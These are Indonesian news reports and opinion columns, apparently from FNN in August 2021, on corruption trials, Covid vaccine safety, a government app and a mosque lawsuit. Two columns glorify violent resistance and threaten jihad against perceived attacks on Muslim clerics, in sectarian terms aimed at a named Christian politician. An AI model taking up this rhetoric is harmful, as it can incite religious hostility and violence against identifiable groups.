penerima, yakni Puput Tantriana Sari, Hasan Aminuddin, Doddy Kurniawan, dan Muhammad Ridwan. Sebanyak 18 orang sebagai pemberi merupakan Aparatur Sipil Negara (ASN) Pemkab Probolinggo, yaitu Sumarto, Ali Wafa (AW), Mawardi (MW), Mashudi (MU), Maliha (MI), Mohammad Bambang (MB), Masruhen (MH), Abdul Wafi (AW), Kho'im (KO). Kemudian, Ahkmad Saifullah (AS), Jaelani (JL), Uhar (UR), Nurul Hadi (NH), Nuruh Huda (NUH), Hasan (HS), Sahir (SR), Sugito (SO), dan Samsudin (SD). KPK menyebut tarif untuk menjadi pejabat kepala desa di Kabupaten Probolinggo Rp 20 juta ditambah dalam bentuk upeti penyewaan tanah kas desa dengan tarif Rp 5 juta/hektare. Alex mengimbau kepada para tersangka lain bersikap kooperatif mengikuti proses hukum yang sedang dilakukan oleh KPK. "Ini ada 22 tersangka sementara yang ditahan baru lima. Yang lain ke mana? Mungkin masih di rumahnya karena pada saat kami melakukan OTT (operasi tangkap tangan), kami tidak menangkap secara keseluruhan 22 orang itu. Akan tetapi, kami menangkap terhadap orang-orang yang kebetulan menyerahkan uang, yang membawa uang," ujarnya. "Dalam pemeriksaan di KPK dan di Polda Jawa Timur diketahui uang itu berasal dari mana. Ternyata, uang itu kan berasal dari para calon pejabat kepala desa yang bersedia memberikan sebesar Rp 20 juta per orang," ujarnya. Adapun sebagai pemberi, Sumarto dan kawan-kawan disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke-1 KUHP. Sedangkan sebagai penerima, Puput Tantriana Sari dan kawan-kawan disangkakan melanggar Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat 1 ke-1 KUHP. (MD).

Penggumpalan Darah, Akibat Covid atau Vaksinasi?

Jakarta, FNN - The British Medical Journal merilis sebuah temuan menarik tentang reaksi yang tidak diharapkan dari vaksin mRNA dan viral vector, dibandingkan dengan mereka yang pernah mengalami infeksi alamiah Covid-19. Studi yang melibatkan data lebih dari 30 juta orang itu menunjukkan, kasus penggumpalan darah atau stroke yang langka ternyata jauh lebih tinggi terjadi pada mereka yang terinfeksi Covid-19 dibandingkan yang diakibatkan oleh vaksinasi. Data tersebut mencakup: - Sudah divaksinasi 1 kali: 29,1 juta orang - AstraZeneca: 19,6 juta - Pfizer: 9,5 juta orang - Pernah terinfeksi Covid: 1,7 juta orang. Menurut Arie Karimah, Pharma-Excellent alumni ITB, dari data tersebut dibuat estimasi: jika 10 juta orang divaksinasi dan 10 juta orang terinfeksi Covid-19 secara alamiah, berapa kira-kira orang yang akan mengalami reaksi yang tidak diharapkan atau komplikasi? Hasilnya: ASTRAZENECA: - 107 orang mengalami thrombocytopenia (kadar trombosit rendah), yang bisa mengarah pada pendarahan internal. - 66 orang mengalami penggumpalan darah di vena, DVT (Deep Vein Thrombosis) PFIZER: - 143 orang mengalami stroke Infeksi alamiah Covid-19: - 934 orang mengalami thrombocytopenia - 12.614 orang mengalami penggumpalan darah - 1.699 mengalami stroke. “Studi juga menemukan sedikit peningkatan risiko penggumpalan darah pada vaksin Pfizer, dan stroke pada vaksin AstraZeneca,” ungkap Arie Karimah. Menurutnya, data tersebut sekaligus mengkonfirmasi manfaat vaksinasi Covid-19, serta risiko morbiditas dan mortalitas pada penderita Covid-19. (mth)

Ketidakadilan Itu Dilawan, Bukan Dikeluhkan

By Asyari Usman PENGADILAN Tinggi (PT) Jakarta menguatkan vonis 4 tahun penjara yang dijatuhkan Pengadilan Negeri (PN) Jakarta Timur atas Habib Rizieq Syihab (HRS). Jalan berikutnya adalah kasasi. HRS dihukum oleh PN dengan dakwaan berbohong soal hasil tes swab RS Ummi Bogor. Para pendukung HRS merasa tidak adil. Sangat tidak masuk akal kasus tes swab yang sangat sepele itu diganjar hukuman penjara 4 tahun. Sebetulnya, mungkin kasus pembohongan yang lebih berbahaya dari bohong RS Ummi sudah terjadi ribuan kali. Namun, baru kali ini hukuman yang dijatuhkan begitu berat. Dari sudut pandang mana pun, hukuman 4 tahun untuk HRS sangat keterlaluan. Pantaslah publik merasakan ketidakadilan. Publik kemudian berteriak keras tentang ketidakadilan. Nah, sekarang bagaimana cara agar ketidakadilan bisa dibalikkan menjadi keadilan? Atau, minimal ketidakadilan itu dicegah agar tidak merajalela? Apa yang harus dilakukan? Tidak mudah menjawab pertanyaan ini. Tetapi, sejarah generasi terdahulu memperjuangkan keadilan sesungguhnya bisa dijadikan acuan. Kita, banga Indonesia ini, memiliki sejarah yang sangat panjang dan brutal tentang perjuangan melawan ketidakadilan. Sejarah itu antara lain adalah 350 tahun ketidakadilan di bawah penjajahan Belanda. Selepas penjajahan Belanda, ketidakadilan dilanjutkan oleh Jepang. Selepas Belanda dan Jepang mengobral ketidakadilan, dilanjutkan pula oleh pemerintahan yang silih berganti. Sampailah akhirnya ketidakadilan itu terasa memuncak sekarang ini. Luar biasa maraknya ketidakadilan itu. Sebaliknya, betapa redupnya keadilan. Nah, apa yang harus dilakukan untuk melenyapkan ketidakadilan? Sejarah mencatat bahwa perjuangan melawan ketidakadilan tidaklah ringan. Perjuangan itu berdarah-darah. Banyak korban nyawa. Dan berlangsung puluhan tahun. Intinya adalah pengorbanan. Ketidakadilan bisa lenyap, alias keadilan bisa tegak, jika pengorbanan melebihi modalitas ketidakadilan itu. Maknanya, ketidakadilan akan sirna kalau dosis pengorbanan tinggi. Para pelaku ketidakadilan akan lumpuh. Ini semua diceritakan oleh sejarah perjuangan bangsa Indonesia dari Sabang sampai Merauke ketika para pejuang melawan ketidakadilan. Banyak yang tewas. Dibunuh, Disiksa. Yang berlaku adalah hukum rimba. Tidak ada hukum rasional yang bisa melenyapkan ketidakadilan. Karena ketidakadilan itu bersendikan “hukum sesuka hati”. Mungkinkah Anda hidup berdampingan secara damai dengan orang yang menggunakan “hukum sesuka hati” itu? Para pejuang yang melawan ketidakadilan di masa lampau tak pernah tidur nyenyak. Mereka bergerilya mencari para penegak ketidakadilan. Mereka keluar-masuk kampung dan hutan. Jika mereka berjumpa dengan para penegak ketidakadilan itu, ada dua gendangnya atau “ending”-nya. “Kalau tidak mereka, berarti kami yang selesai.” Di zaman penjajahan dulu, perjuangan melawan ketidakadilan berlangsung lama. Melelahkan. Korban nyawa tak terhitung. Dampak sosialnya juga besar. Tetapi, ini semua dilakukan karena tidak ada jalan lain. Ketidakadilan itu sama seperti jalan buntu. Anda ada di situ. Anda tidak bisa menghindar dari kejaran ketidakadilan. Karena itulah, Anda harus menciptakan jalan keluar sendiri dari jalan buntu itu. Dalam bahasa lain, ketidakadilan harus dilawan. Bukan dikeluhkan.[] (Penulis wartawan senior)

UAS Ditangkap Umat Bisa Bergerak

By M Rizal Fadillah RUHUT Sitompul ngoceh minta Ustadz Abdul Shomad ditangkap berkenaan dengan ceramah Subuh di Masjid ketika tanya jawab soal Salib dan Jin. Konteksnya adalah bahwa menurut ajaran Islam Malaikat tidak akan memasuki rumah yang ada patung. Patung itu tempat Jin. Salib dalam pandangan UAS adalah salah satu patung tersebut. Konten ini hanya bagian kecil singgungan UAS pada acara pengajian di kalangan internal umat Islam dalam rangka menerangkan keimanan atau akidah Islam. Jika hal seperti ini dijadikan sebagai tuduhan penistaan, maka tentu berlebihan dan negara dalam bahaya. Umat Islam sama saja dengan dilarang unttuk menerangkan keyakinan terhadap kebenaran ajarannya sendiri. Di tempat sendiri. Akidah Islam tentu memiliki perbedaan mendasar dengan keyakinan agama lain. Negara harus faham akan hal ini. Kasus Kece yang diperluas kepada Yahya Waloni kemudian kepada UAS adalah serangan kepada ulama dan umat Islam. Ruhut yang Kristen itu sama saja mengajak bertengkar atau bertarung dengan umat Islam. Hal ini tak bisa dibiarkan atau ditoleransi. Umat Islam dapat bergerak membela jika ada ulama yang dikriminalisasi. Kece Kristen yang memang penista agama jangan dijadikan alasan untuk mengarah kepada kriminalisasi ulama, sebab ini akan memperuncing pertentangan antar agama. Setiap Gereja bisa saja kelak diinvestigasi adakah uraian yang menyinggung agama lain. Bahwa sesuatu perbuatan dinilai melanggar atau sesuai syariat agama harus ditentukan oleh lembaga keagamaan, dalam hal ini MUI. Bukan setiap orang, apalagi Ruhut Sitompul. UAS pun telah mengklarifikasi di depan MUI. Artinya yang dijelaskan dalam ceramah di kalangan jama'ah Masjid adalah persoalan keimanan berdasarkan ajaran Islam. Mengingat masalah keagamaan itu peka, maka perlu kehati-hatian dalam penanganan. Jangan sampai terjadi sikap balas membalas. Para Buzzer bayaran penista agama yang biasa ngoceh juga harus dibongkar dan dibasmi habis. Jangan kotori negara dengan narasi serangan buzzer kepada umat Islam. Patut waspada terhadap anasir komunis dan kelompok tak bermoral lain yang mencoba mengadu domba antar anak bangsa. Apalagi dengan isu agama. Mereka suka dan gembira jika perang Salib atau perang Sabil terjadi kembali. Indonesia tidak boleh dirusak dan umat Islam jangan diganggu. Jika umat Islam diganggu pilihan umat sudah pasti : Jihad Fie Sabilillah ! *) Pemerhati Politik dan Kebangsaan

Wali Kota Tanjungbalai M Syahrial Dituntut Tiga Tahun Penjara

Jakarta, FNN - Wali Kota Tanjungbalai nonaktif, M. Syahrial dituntut tiga tahun penjara ditambah denda Rp 150 juta subsider 6 bulan kurungan. Ia dituntut karena terbukti menyuap eks penyidik Komisi Pemberantasan Korupsi (KPK) Stepanus Robinson Pattuju sebesar Rp 1,695 miliar agar tidak menaikkan kasus dugaan korupsi ke penyidikan. "Menuntut supaya majelis hakim Pengadilan Tindak Pidana Korupsi (Tipikor) menyatakan terdakwa Muhammad Syahrial terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana korupsi secara berlanjut. Menjatuhkan pidana terhadap terdakwa Muhammad Syahrial dengan pidana penjara selama 3 tahun dan pidana denda sebesar Rp 150 juta subsider 6 bulan kurungan," kata Jaksa Penuntut Umum (JPU) KPK, Agus Prasetya, di Pengadilan Tindak Pidana Korupsi (Tipikor), Medan, Senin, 30 Agustus 2021. Syahrial mengikuti persidangan tersebut melalui fasilitas video conference dari Gedung Pusat Edukasi AntiKorupsi KPK, di Jakarta. Tuntutan tersebut berdasarkan dakwaan alternatif kedua dari Pasal 5 ayat 1 huruf b Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dalam UU Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 64 ayat 1 KUHP. JPU KPK juga menolak permohonan M Syahrial untuk menjadi saksi pelaku yang bekerja sama dengan penegak hukum atau justice collaborator. "Penuntut Umum berpendapat tidak dapat mengabulkan permohonan justice collaborator yang diajukan terdakwa. Alasanya, karena belum memenuhi syarat sebagaimana diatur dalam ketentuan yang berlaku, yaitu ketentuan Pasal 4 dan Pasal 8 SEMA No. 4 Tahun 2011," tambah Jaksa Agus, sebagaimana dikutip dari Antara. Dalam perkara ini, JPU KPK menyatakan M Syaharial selaku Wali Kota Tanjungbalai yang merupakan kader Partai Golkar terbukti berkunjung ke rumah dinas Wakil Ketua DPR RI yang juga merupakan petinggi Partai Golkar Muhammad Azis Syamsudin di Jalan Denpasar Raya, Kuningan Jakarta Selatan. Kunjungan tersebut dimaksudkan untuk meminta dukungan M Azis Syamsuddin dalam mengikuti Pildaka Tanjungbalai 2021-2026. "Dan menyampaikan permasalahan hukum yang sedang dihadapi terdakwa terkait jual beli jabatan di Pemerintahan Kota Tanjungbalai yang sedang ditangani KPK," ujar jaksa. Syahrial lalu dikenalkan kepada Stepanus Robin Pattuju selaku penyidik KPK oleh Azis Syamsudin. Stepanus Robin Pattuju diketahui sering datang ke rumah dinas Azis Syamsuddin. Syahrial meminta Stepanus Robin supaya membantu tidak menaikkan proses penyelidikan perkara jual beli jabatan di Pemkot Tanjungbalai yang melibatkan Syahrial ke tingkat penyidikan sehingga dapat mengikuti proses Pilkada Tanjungbalai. Beberapa hari kemudian, Stepanus Robin menghubungi temannya bernama Maskur Husain. Ia merupakan advokat dan menyampaikan ada permintaan bantuan untuk mengurus perkara dari daerah Tanjungbalai, Sumatera Utara. Maskur lalu menyanggupi membantu pengurusan perkara tersebut asalkan ada dananya sebesar Rp 1,5 miliar. Permintaan Maskur tersebut disetujui Stepanus Robin untuk disampaikan ke Syahrial. Atas permintaan tersebut, Stepanus Robin bersedia membantu permintaan uang sejumlah Rp 1,5 miliar untuk pengamanan perkara. Permintaan uang itu, sudah dilaporkanStepanus Robin kepada Azis Syamsuddin. Setelah itu, Stepanus Robin menyampaikan kepadaSyahrial bahwa ia sudah mengamankan supaya Tim Penyidik KPK tidak jadi ke Tanjungbalai dengan mengatakan "Perkara Pak Wali sudah aman". Selanjutnya, sekitar Januari 2021 dan Februari 2021, Stepanus Robin menyampaikan kepada Syahrial bahwa perkara yang sedang ditangani KPK mengenai dugaan jual beli jabatan di Pemerintahan Kota Tanjungbalai yang melibatkan Syahrial sudah diamankannya. Syahrial lalu memberikan uang secara bertahap dengan total sejumlah Rp 1,695 miliar kepada Stepanus Robin Pattuju dan Maskur Husain. Pertama, pada 17 November 2020 sampai 12 April 2021 ke rekening BCA atas nama Riefka Amalia sejumlah Rp 1,275 miliar. Kedua, pemberian uang secara transfer kepada Stepanus Robin dan Maskur Husain secara bertahap pada 22 Desember 2020 ke rekening BCA Nomor 03420081552 atas nama Maskur Husain sejumlah Rp 200 juta Ketiga, pemberian uang secara tunai kepada Stepanus Robin dan Masku Husain pada 25 Desember 2020 sejumlah Rp 220 juta di rumah makan Warung Kopi Mie Balap, di Kota Pematang Siantar, Sumatera Utara. Sselanjutnya, uang tersebut diserahkan Stepanus Robin kepada Maskur Husain dan pada Maret 2021. Syahrial memberikan uang kepada Stepanus Robin Rp 10 juta di Bandara Kualanamu, Medan. Atas tuntutan tersebut, Syahrial akan mengajukan nota pembelaan (pleidoi) pada 6 September 2021 (MD).

Kominfo Diminta Benahi Kekurangan Aplikasi PeduliLindungi

Jakarta, FNN - Ketua Majelis Permusyawaratan Rakyat, Bambang Soesatyo (Bamsoet) meminta Kementerian Komunikasi dan Informatika (Kominfo) membenahi kekurangan atau kendala yang masih ditemukan pada aplikasi PeduliLindungi. Hal itu disampaikan Bamsoet menyikapi masih banyaknya keluhan masyarakat yang kesulitan mengakses aplikasi PeduliLindungi. "Saya meminta pemerintah dalam hal ini Kementerian Komunikasi dan Informatika supaya segera memperbaiki kendala yang ada pada aplikasi PeduliLindungi. Benahi kekurangan yang ada di dalam aplikasi tersebut," ujar Bamsoet dalam siaran pers yang diterima Antara, di Jakarta, Senin, 30 Agustus 2021. Aplikasi tersebut diperlukan masyarakat guna mengakses dan mempermudah mobilitas dalam memenuhi kebutuhan hidup dalam rangka melaksanakan adaptasi kebiasaan baru. Dia meminta komitmen Kementerian Kominfo supaya dapat memperluas sekaligus berupaya meningkatkan kapasitas aplikasi PeduliLindungi. Sehingga dapat memudahkan masyarakat dalam mengakses atau menggunakannya. Pemerintah dimintatetap menjaga dan menjamin data ataupun hak-hak individu terlindungi dalam aplikasi tersebut. Hal tersebut harus menjadi pertimbangan agar ada level proteksi penggunaan pada layanan publik. Hal itu mengingat sudah pernah ada kebocoran data pribadi oleh pihak yang tidak bertanggung jawab. Bamsoet berharap aplikasi PeduliLindungi dapat berjalan efektif, efisien, dan optimal bagi masyarakat. (MD).

Joko Widodo Teken Peraturan Presiden Wakil Menteri Dapat Pesangon Rp 580 Juta

Jakarta, FNN - Presiden Joko Widodo menandatangani aturan mengenai pemberian penghargaan sebesar Rp 580.454.000 kepada wakil menteri (wamen) yang telah mengakhiri masa jabatannya. Aturan tersebut tertuang dalam Peraturan Presiden (Perpres) RI Nomor 77 tahun 2021 tentang Perubahan kedua atas Peraturan Presiden Nomor 60 tahun 2012 tentang Wakil Menteri yang ditandatangani pada 19 Agustus 2021. Dalam pasal 8 Perpres No 77 tahun 2021 tersebut disebutkan: (1) Wakil Menteri apabila berhenti atau telah berakhir masa jabatannya diberikan uang penghargaan sebagai Wakil Menteri sesuai dengan ketentuan peraturan perundang-undangan. (2) Uang penghargaan bagi Wakil Menteri sebagaimana dimaksud pada ayat (1) paling banyak sebesar Rp 580.454.000 untuk satu periode masa jabatan wakil menteri. Dikutip dari Antara, senin, 30 Agustus 2021, besaran uang yang diterima wamen tersebut memperhitungkan masa jabatan wamen. Dalam pasal 8A ayat 2 disebutkan formula yang dipergunakan adalah sebagai berikut: a. Masa jabatan sampai 1 tahun sebesar 0,2 x uang penghargaan b. Masa jabatan lebih dari 1 tahun sampai 2 tahun sebesar 0,4 x uang penghargaan c. Masa jabatan lebih dari 2 tahun sampai 3 tahun sebesar 0,6 x uang penghargaan d. Masa jabatan lebih dari 3 tahun sampai 4 tahun sebesar 0,8 x uang penghargaan e. Masa jabatan lebih dari 4 tahun sampai 5 tahun sebesar 1 x uang penghargaan Wamen yang telah berhenti atau berakhir masa jabatannya sebelum Perpres No 77 tahun 2021 diundangkan juga diberikan uang penghargaan (pasal 8B). Bila wakil menteri meninggal dunia dan belum mendapatkan uang penghargaan maka uang penghargaan diberikan kepada janda/duda atau ahli warisnya (pasal 8C). Saat ini di dalam Kabinet Indonesia Maju terdapat 15 jabatan wamen di 14 Kementerian. Jabatan wamen tersebut adalah wamen keuangan, wamen luar negeri, wamen perdagangan, wamen agama, wamen agraria dan tata ruang, wamen lingkungan hidup dan kehutanan, wamen pekerjaan umum dan perumahan rakyat. Kemudian, wamen pertahanan, wamen desa, pembangunan daerah tertinggal dan transmigrasi, wamen pariwisata dan ekonomi kreatif, dua orang wamen Badan Usaha Milik Negara, wamen kesehatan, wamen hukum dan HAM, serta wamen pertanian. Selain itu sejumlah kementerian juga masih mengalami kekosongan jabatan posisi wamen sampai saat ini. Kementerian tersebut yakni Kementerian Ketenagakerjaan, Kementerian Koperasi dan UKM, Kementerian Perindustrian, Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi, serta Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi. (MD).

Bertambah Kasus Kontaminasi Vaksin Moderna di Jepang

Tokyo, FNN - Jumlah vaksin Covid-19 Moderna di Jepang yang terkontaminasi partikel bertambah satu juta dosis dan telah ditangguhkan penggunaannya. Sebelumnya, zat asing dikabarkan telah ditemukan pada botol-botol vaksin Moderna. Dua orang meninggal setelah menerima dosis vaksin dari kelompok botol yang tercemar. Penangguhan yang berdampak pada lebih dari 2,6 juta dosis vaksin tersebut dilakukan di tengah upaya Jepang melawan gelombang Covid-19 terburuk, yang dipicu oleh varian Delta. Kasus infeksi harian di negara itu untuk kali pertama telah melewati angka 25.000 pada bulan Agustus 2021, di tengah lambatnya pemberian vaksin. Laporan terakhir kasus kontaminasi datang dari Prefektur Gunma dekat Tokyo dan Prefektur Okinawa di selatan. Hal tersebut mendorong penangguhan dua lot vaksin pada Ahad (29/8) setelah 1,63 juta dosis ditarik pekan lalu. "Sebuah zat hitam kecil ditemukan dalam botol vaksin Moderna di Gunma," kata seorang pejabat prefektur setempat. Di Okinawa, zat hitam terlihat di sejumlah jarum suntik dan sebuah botol. Materi berwarna merah muda ditemukan pada sebuah jarum suntik yang lain. Kementerian Kesehatan Jepang mengatakan, beberapa insiden mungkin disebabkan oleh jarum suntik yang dimasukkan secara tidak benar, sehingga mematahkan sebagian sumbat karetnya. "Botol-botol vaksin lain dari lot yang sama tetap dapat dipakai," kata kementerian pada Senin, 30 Agustus 2021. Kasus kontaminasi tersebut terungkap menyusul laporan pemerintah pada Sabtu (28/8), dua orang meninggal setelah menerima suntikan vaksin Moderna dari lot-lot yang akhirnya ditangguhkan. Pemerintah Jepang sebelumnya mengatakan tidak ada isu keamanan dan kemanjuran yang teridentifikasi dan penangguhan itu merupakan tindakan pencegahan. Penyebab kematian dua orang tersebut masih diselidiki. "Menurut saya, kontaminasi zat asing tidak mungkin jadi penyebab langsung kematian mendadak," kata Takahiro Kinoshita, seorang dokter dan wakil ketua Cov-Navi, kelompok informasi vaksin. "Jika zat pencemar itu cukup berbahaya yang menyebabkan kematian pada sejumlah orang, kemungkinan lebih banyak orang akan mengalami beberapa gejala setelah vaksinasi. Akan tetapi, penyelidikan lebih lanjut tentu diperlukan untuk mengevaluasi bahaya dari dosis tertentu yang dimaksud." Jepang sebelumnya menunda penggunaan 1,63 juta dosis Moderna yang dikirimkan ke 863 pusat vaksinasi di seluruh negara itu setelah distributor lokal, Takeda Pharmaceutical, menerima laporan pencemaran pada sejumlah botol vaksin. "Sekitar 500.000 orang menerima suntikan vaksin dari pasokan tersebut," kata Taro Kono, menteri yang menangani percepatan vaksinasi. Moderna dan perusahaan farmasi Spanyol Rovi, yang mengemas vaksin Moderna di negara-negara selain Amerika Serikat, mengatakan, kontaminasi bisa disebabkan oleh masalah produksi di salah satu pabrik Rovi. "Vaksin yang terdampak di Gunma berasal dari lot Moderna yang berbeda dari yang telah ditangguhkan sebelumnya," kata pejabat Gunma, sebagaimana dikutip dari Antara. Vaksin dari lot yang sama telah disuntikkan pada 4.575 orang di Gunma. Akan tetapi. prefektur itu belum menerima laporan tentang gangguan kesehatan, kata pejabat tersebut. Kontaminasi vaksin "merupakan masalah serius" dan perlu diselidiki. "Mengingat kasus Covid-19 yang sedang meningkat, pemberian vaksin Moderna harus "dilanjutkan dengan tindakan pencegahan yang tepat", kata Nicholas Rennick, seorang dokter Australia yang berpraktik di Pusat Kesehatan NTT di Tokyo. Kasus Covid-19 yang parah mencapai level tertinggi di Jepang. Keadaan itu membuat banyak orang dirawat di rumah karena kurangnya tempat tidur perawatan darurat di rumah sakit. Jumlah orang yang telah divaksin penuh di negara itu baru mencapai 44 persen dari populasi, tertinggal dari sejumlah negara maju lainnya. Jepang tengah menjajaki kemungkinan mencampur suntikan vaksin AstraZeneca dengan vaksin dari produsen lain untuk mempercepat vaksinasi. (MD).

Koruptor Juliari Batubara tidak Mengajukan Banding

Jakarta, FNN - Mantan Menteri Sosial Juliari Batubara tidak mengajukan upaya hukum banding terhadap vonis 12 tahun penjara yang dijatuhkan hakim kepadanya dalam perkara penerimaan suap Rp 32,482 miliar dari 109 perusahaan penyedia bantuan sosial sembako Covid-19 di wilayah Jabodetabek. "Beliau sudah memutuskan tidak banding," kata penasihat hukum Juliari Batubara, Maqdir Ismail, saat dihubungi di Jakarta, Senin, 30 Agustus 2021. Sebagaimana dikutip dari Antara, pada 23 Agustus 2021 lalu, majelis hakim pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta menjatuhkan vonis 12 tahun penjara ditambah denda Rp 500 juta subsider 6 bulan kurungan kepada Juliari Batubara. Juliari juga diwajibkan untuk membayar uang pengganti sejumlah Rp 14.597.450.000 yang bila tidak dibayar maka akan dipidana selama 2 tahun. Politikus PDIP tersebut juga dicabut hak untuk dipilih dalam jabatan publik selama 4 tahun sejak selesai menjalani pidana pokok. Vonis tersebut lebih berat dibanding tuntutan Jaksa Penuntut Umum (JPU) KPK yang meminta agar Juliari Batubara divonis 11 tahun penjara ditambah denda Rp 500 juta subsider 6 bulan kurungan. Juliari lalu memutuskan untuk pikir-pikir selama 7 hari terhadap vonis itu. Dalam perkara tersebut, Juliari P Batubara selaku Menteri Sosial RI periode 2019-2024 dinyatakan terbukti menerima uang sebesar Rp 1,28 miliar dari Harry Van Sidabukke, sebesar Rp 1,95 miliar dari Ardian Iskandar Maddanatja serta uang sebesar Rp 29, 252 miliar dari beberapa penyedia barang lain. Tujuan pemberian suap itu adalah karena Juliari menunjuk PT Pertani (Persero) dan PT Mandala Hamonangan Sude yang diwakili Harry Van Sidabukke, PT Tigapilar Agro Utama yang diwakili Ardian Iskandar serta beberapa penyedia barang lainnya menjadi penyedia dalam pengadaan bansos sembako. Sedangkan mengenai langkah hukum yang akan dilakukan KPK dalam perkara Juliari, Wakil Ketua KPK Alexander Marwata telah mengatakan KPK menunggu keputusan Juliari. "Dari sisi tuntutan dan putusan hakim sudah lebih dari apa yang kami tuntut, bila terdakwa banding kami juga akan mengajukan memori banding, kalau terdakwa terima yang kami harus 'fair', apa yang kami tuntut sudah dipenuhi hakim jadi kami sikap terdakwa apakah akan melakukan banding atau tidak," kata Alexander pada 24 Agustus 2021. (MD).

Pembangunan Masjid At Tabayyun Makin Mulus Setelah PTUN Tolak Gugatan Non-Muslim

Jakarta, FNN - Gugatan yang diajukan terhadap pembangunan Masjid At-Tabayun, di Taman Villa Meruya (TVM), Jakarta Barat kandas. Majelis Hakim Pengadilan Tata Usaha Negara (PTUN) Jakarta dalam Keputusan bernomor 76/G/2021/PTUN.JKT menolak gugatan yang dilakukan sebagian kecil warga non-muslim perumahan tersebut. Keputusan Majelis Hakim yang diumumkan Senin, 30 Agustus 2021 itu juga menghukum penggugat membayar biaya perkara sebesar Rp 510.000. Majelis Hakim yang dipimpin Andi Muh. Ali Rahman menyatakan, menerima eksepsi yang disampaikan Pemerintah Provinsi Daerah Khusus IbuKota (Pemprov DKI) Jakarta sebagai tergugat yang pada pokoknya mengatakan bahwa objek sengketa bukan termasuk Keputusan Tata Usaha Negara karena merupakan perbuatan hukum perdata. "Alhamdulillah, gugatan penggungat dinyatakan tidak dapat diterima," kata kuasa hukum dari Panitia Pembangunan Masjid At-Tabayuun, Rahmatullah, SH kepada FNN.co.id, Senin sore. Ditolaknya gugatan tersebut membuat semakin mulusnya pembangunan Masjid At-Tabayyun yang peletakan batu pertamanya dilakukan Gubernur DKI Jakarta, Anies Baswedan, Jumat (27/8). Acara yang dirangkai dengan shalat Jumat tersebut dihadiri sejumlah tokoh, antara lain Ketua Bidang Dakwah dan Ukhuwah Majelis Ulama Indonesia (MUI) Pusat, Muhammad Cholil Nafis yang bertindak menjadi Khatib dan Imam shalat tersebut. Acara peletakan batu pertama tersebut juga disambut dengan demo kecil yang dilakukan non-muslim. Mereka membentangkan sejumlah spanduk di jalan menuju lokasi masjid. Bahkan, di sejumlah rumah pun terpampang spanduk penolakan. Seusai peletakan batu pertama, Anies Baswedan yang antara lain didampingi Ketua Panitia Pembangunan Masjid At-Tabayyun, Mara Sakti Siregar, dan Ketua Dewan Pembina Masjid At-Tabayyun menggelar keterangan pers, menjelaskan tentang posisi hukum pembangunan rumah ibadah di perumahan mewah itu. Setelah itu, Anies kemudian keluar dari pagar area lahan fasilitas sosial menjumpai perwakilan pendemo keturunan Cina. Anies terlihat samtai saat berdialog. Malah, seusai berdialog, mereka malah meminta berfoto bersama Anies. Sang gubernur pun meladeni permintaan warganya itu. Dalam persidangan yang berlangsung secara tatap muka pada tanggal 27 Juli 2021 lalu, Ketua Majelis Hakim Andi Muh. Ali Rahman menerangkan posisi hukum Masjid At Tabayyun. SK Gubernur No. 1021/2020 tanggal 9 Oktober dan izin lain termasuk rekomendasi Forum Kerukunan Umat Beragama (FKUB) adalah payung hukum yang sah dan berlaku, sampai ia dibatalkan pengadilan. Persidangan kasus terseut juga menjadi semacam kotak pandora yang membuka praktik manipulasi yang dilakukan pihak Penggugat. Kuasa hukum Penggugat mengklaim mendapatkan kuasa dari 292 warga TVM. Belakangan ada warga yang mengadu ke Polda Metro Jaya karena namanya dimanipulasi sebagai penggugat, padahal tidak. Warga yang keberatan itu telah melaporkan manipulasi ini ke Polda Metro Jaya dan laporannya dicatat dalam surat bernomorLP/B/4.058/VIII/2021/SPKT/Polda Metro Jaya, tanggal 20 Agustus 2021. Sebagai terlapor dalam kasus manipulasi itu adalah pengacara Hartono SH dan sepuluh Ketua RT TVM. Mereka diduga melanggar Pasal 263 KUHP tentang Tindak Pidana Pemalsuan Surat yang ancaman hukumannya selama enam tahun penjara. Selain pemalsuan surat kuasa yang sudah dilaporkan, pengurus masjid juga berencana melaporkan ujaran kebencian yang beredar di WhatsApp Grup (WAG). "Juga ada ujaran kebencian di WAG RT 1. Besok (Selasa, 30 Agustus 2021) Insya Allah, kami polisikan," kata Marah Sakti Siregar, dalam WA-nya kepada FNN.co.id. (MD).

Sebaiknya Hentikan PPKM

Awal gagasan PPKM (Pemberlakuan Pembatasan Kegiatan Masyarakat) sudah tidak jelas, karena makna pemberlakuan adalah kata keterangan yang menerangkan lamanya waktu pembatasan kegiatan. Padahal kebijakan ini ditujukan untuk menyikapi sesuatu dalam keadaan darurat. Oleh Sugengwaras KAPANPUN dan di manapun sebutan keadaan darurat hanya diasumsikan, dikonsumsikan, dan diprediksikan selama keadaan darurat (sangat terbatas, sangat tertentu, sangat khusus). Kalau pada implementasinya keadaan darurat terus diperpanjang, apa lagi tidak bisa diprediksi kapan berakhirnya, maka ini layak dikatakan tidak konsisten dan tidak konsekwen, bahkan tidak ada ketegasan atau bisa dikatakan mencla- mencle, tidak profesional, tidak berkonsep kredibel/eligibel, ngambang, ngawur, hanya mengedepankan kekuasaan, yang membuat masyarakat cemas harap, khawatir, curiga, dan berpotensi meremehkan atau melawan! Ini yang perlu disadari oleh rezim, karena sesungguhnya banyak orang yang cerdas, arief, ahli, dan bijak di lingkungan istana, namun pada kenyataanya berjalan sendiri-sendiri, dimana ada yang berpikir keselamatan orang banyak, namun ada yang berwacana aneh-aneh, bahkan ada yang sudah memulai gepyak sayap untuk koalisi menuju ke arah membawa negara ini. Lebih memprihatinkan, karena presiden sebagai kepala pemerintahan sekaligus kepala negara tak kunjung peka dan peduli terhadap situasi dan kondisi seperti ini, atau mungkin sengaja ada pembiaran untuk maksud dan tujuan tertentu. Hal yang sangat mendasar yang dilupakan dan ditinggalkan penggagas PPKM adalah Hak Azasi Manusia (HAM). Seharusnya disadari, HAM adalah hal yang sangat fundamental 